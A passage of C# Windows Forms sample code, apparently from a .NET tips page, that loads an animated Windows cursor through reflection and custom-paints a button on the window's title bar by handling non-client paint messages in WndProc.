  Application.Run(new Form1());
  }
  
  public Form1()
  {
  this.Text = "欢迎光临【孟宪会之精彩世界】:http://dotnet.aspx.cc/";
  Cursor myCursor = new Cursor(Cursor.Current.Handle);
  //dinosau2.ani为windows自带的光标：
  IntPtr colorCursorHandle = LoadCursorFromFile(@"C:\WINNT\Cursors\dinosau2.ani" );
  myCursor.GetType().InvokeMember("handle",BindingFlags.Public |
   BindingFlags.NonPublic | BindingFlags.Instance |
   BindingFlags.SetField,null,myCursor,
   new object [] { colorCursorHandle } );
  this.Cursor = myCursor;
  }
 }
}

using System;

using System.Drawing;

using System.Drawing.Drawing2D;

using System.Collections;

using System.ComponentModel;

using System.Windows.Forms;

using System.Data;

using System.Runtime.InteropServices;

using System.Diagnostics;

namespace WindowsApplication2

{

    /// <summary>

    /// Form1 的摘要说明。

    /// </summary>

    public class Form1 : System.Windows.Forms.Form

    {

        /// <summary>

        /// 必需的设计器变量。

        /// </summary>

        private System.ComponentModel.Container components = null;

        public Form1()

        {

            //

            // Windows 窗体设计器支持所必需的

            //

            InitializeComponent();

            //

            // TODO: 在 InitializeComponent 调用后添加任何构造函数代码

            //

        }

        /// <summary>

        /// 清理所有正在使用的资源。

        /// </summary>

        protected override void Dispose( bool disposing )

        {

            if( disposing )

            {

                if (components != null)

                {

                    components.Dispose();

                }

            }

            base.Dispose( disposing );

        }

        #region Windows 窗体设计器生成的代码

        /// <summary>

        /// 设计器支持所需的方法 - 不要使用代码编辑器修改

        /// 此方法的内容。

        /// </summary>

        private void InitializeComponent()

        {

            //

            // Form1

            //

            this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);

            this.ClientSize = new System.Drawing.Size(292, 266);

            this.Name = "Form1";

            this.Text = "Form1";

            this.SizeChanged += new System.EventHandler(this.Form1_SizeChanged);

        }

        #endregion

        /// <summary>

        /// 应用程序的主入口点。

        /// </summary>

        [STAThread]

        static void Main()

        {

            Application.Run(new Form1());

        }

        [DllImport ("User32.dll")]

        private static extern IntPtr GetWindowDC(IntPtr hwnd);

        [DllImport ("User32.dll")]

        private static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc);

        [DllImport ("Kernel32.dll")]

        private static extern int GetLastError();

        //标题栏按钮的矩形区域。

        Rectangle m_rect = new Rectangle(205, 6, 20, 20);

        protected override void WndProc(ref Message m)

        {

            base.WndProc(ref m);

            switch(m.Msg)

            {

                case 0x86://WM_NCACTIVATE

                    goto case 0x85;

                case 0x85://WM_NCPAINT

                {

                    IntPtr hDC = GetWindowDC(m.HWnd);

                    //把DC转换为.NET的Graphics就可以很方便地使用Framework提供的绘图功能了

                    Graphics gs = Graphics.FromHdc(hDC);

                    gs.FillRectangle(new LinearGradientBrush(m_rect, Color.Pink, Color.Purple, LinearGradientMode.BackwardDiagonal), m_rect);

                    StringFormat strFmt = new StringFormat();

                    strFmt.Alignment = StringAlignment.Center;

                    strFmt.LineAlignment = StringAlignment.Center;

                    gs.DrawString("√", this.Font, Brushes.BlanchedAlmond, m_rect, strFmt);

                    gs.Dispose();